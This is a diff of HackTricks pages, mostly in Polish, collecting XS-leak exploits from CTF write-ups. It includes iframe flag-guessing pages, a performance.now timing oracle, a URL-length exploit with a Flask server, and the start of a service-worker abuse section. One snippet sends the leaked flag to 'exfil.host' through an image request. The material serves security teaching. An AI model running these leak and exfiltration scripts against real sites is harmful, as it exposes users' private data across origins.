|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```javascript
|
||||
// Code that will try ${guess} as flag (need rest of the server code
|
||||
app.get('/guessing', function(req, res) {
|
||||
|
@ -30,7 +33,7 @@ window.parent.foo()
|
|||
res.send(page)
|
||||
});
|
||||
```
|
||||
Główna strona generująca iframy do poprzedniej strony `/guessing` w celu przetestowania każdej możliwości.
|
||||
Strona główna, która generuje iframe'y do poprzedniej strony `/guessing`, aby przetestować każdą możliwość
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -75,14 +78,17 @@ hack.innerHTML = iframe
|
|||
</div>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
# performance.now + Wymuś ciężkie zadanie
|
||||
# performance.now + Force heavy task
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Wykorzystanie zaczerpnięte z [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
**Eksploit pochodzi z [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
|
||||
W tym wyzwaniu użytkownik mógł wysłać tysiące znaków, a jeśli flaga była zawarta, znaki były odsyłane do bota. Dlatego, wysyłając dużą ilość znaków, atakujący mógł sprawdzić, czy flaga jest zawarta w wysłanym ciągu znaków, czy nie.
|
||||
W tym wyzwaniu użytkownik mógł wysłać tysiące znaków, a jeśli flaga była zawarta, znaki byłyby odesłane do bota. Wysyłając dużą ilość znaków, atakujący mógł zmierzyć, czy flaga była zawarta w wysłanym ciągu, czy nie.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Początkowo nie ustawiłem szerokości i wysokości obiektu, ale później odkryłem, że jest to ważne, ponieważ domyślny rozmiar jest zbyt mały, aby miało to znaczenie dla czasu ładowania.
|
||||
Początkowo nie ustawiłem szerokości i wysokości obiektu, ale później odkryłem, że jest to ważne, ponieważ domyślny rozmiar jest zbyt mały, aby miało to znaczenie w czasie ładowania.
|
||||
{% endhint %}
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
|
@ -114,14 +117,17 @@ main()
|
|||
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family).
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Przykład użycia performance.now
|
||||
# performance.now przykład
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy Telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Przykład pochodzi z [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
||||
**Przykład wzięty z [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
||||
```javascript
|
||||
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
||||
|
||||
|
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family).
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Maksymalna długość adresu URL - po stronie klienta
|
||||
# URL Max Length - Client Side
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Kod z [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
```html
|
||||
|
@ -48,7 +51,7 @@ await new Promise(resolve => setTimeout(resolve, 50))
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Serwerowy:
|
||||
Serwer po stronie:
|
||||
```python
|
||||
from flask import Flask, request
|
||||
|
||||
|
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
|
|||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family).
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy Telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Nadużywanie pracowników usługowych
|
||||
# Abusing Service Workers
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,34 +25,34 @@
|
|||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
## Basic Information
|
||||
|
||||
**Pracownik usługowy** to skrypt uruchamiany przez przeglądarkę w tle, niezależnie od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, zwiększając tym samym możliwości **przetwarzania offline i w tle**. Szczegółowe informacje na temat pracowników usługowych można znaleźć [tutaj](https://developers.google.com/web/fundamentals/primers/service-workers). Wykorzystując pracowników usługowych w podatnej domenie internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.
|
||||
**Service worker** to skrypt uruchamiany przez przeglądarkę w tle, oddzielony od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, co zwiększa możliwości **pracy offline i w tle**. Szczegółowe informacje na temat service workerów można znaleźć [tutaj](https://developers.google.com/web/fundamentals/primers/service-workers). Wykorzystując service workery w ramach podatnej domeny internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.
|
||||
|
||||
|
||||
### Sprawdzanie istniejących pracowników usługowych
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
Istniejące pracowniki usługowi można sprawdzić w sekcji **Pracownicy usługowi** w zakładce **Aplikacja** w **Narzędziach deweloperskich**. Inną metodą jest odwiedzenie [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) dla bardziej szczegółowego widoku.
|
||||
Istniejące service workery można sprawdzić w sekcji **Service Workers** w zakładce **Application** w **Narzędziach deweloperskich**. Inną metodą jest odwiedzenie [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) w celu uzyskania bardziej szczegółowego widoku.
|
||||
|
||||
### Powiadomienia push
|
||||
### Push Notifications
|
||||
|
||||
**Uprawnienia do powiadomień push** bezpośrednio wpływają na zdolność **pracownika usługowego** do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odmówione, ogranicza to potencjał pracownika usługowego do stanowienia ciągłego zagrożenia. W przeciwnym razie udzielenie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych exploitów.
|
||||
**Uprawnienia do powiadomień push** bezpośrednio wpływają na zdolność **service workera** do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odrzucane, ogranicza to potencjał service workera do stwarzania ciągłego zagrożenia. Z drugiej strony, przyznanie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych exploitów.
|
||||
|
||||
## Atak tworzenia pracownika usługowego
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
Aby wykorzystać tę podatność, musisz znaleźć:
|
||||
Aby wykorzystać tę lukę, musisz znaleźć:
|
||||
|
||||
* Sposób na **przesłanie dowolnych plików JS** na serwer i **XSS do załadowania pracownika usługowego** przesłanego pliku JS
|
||||
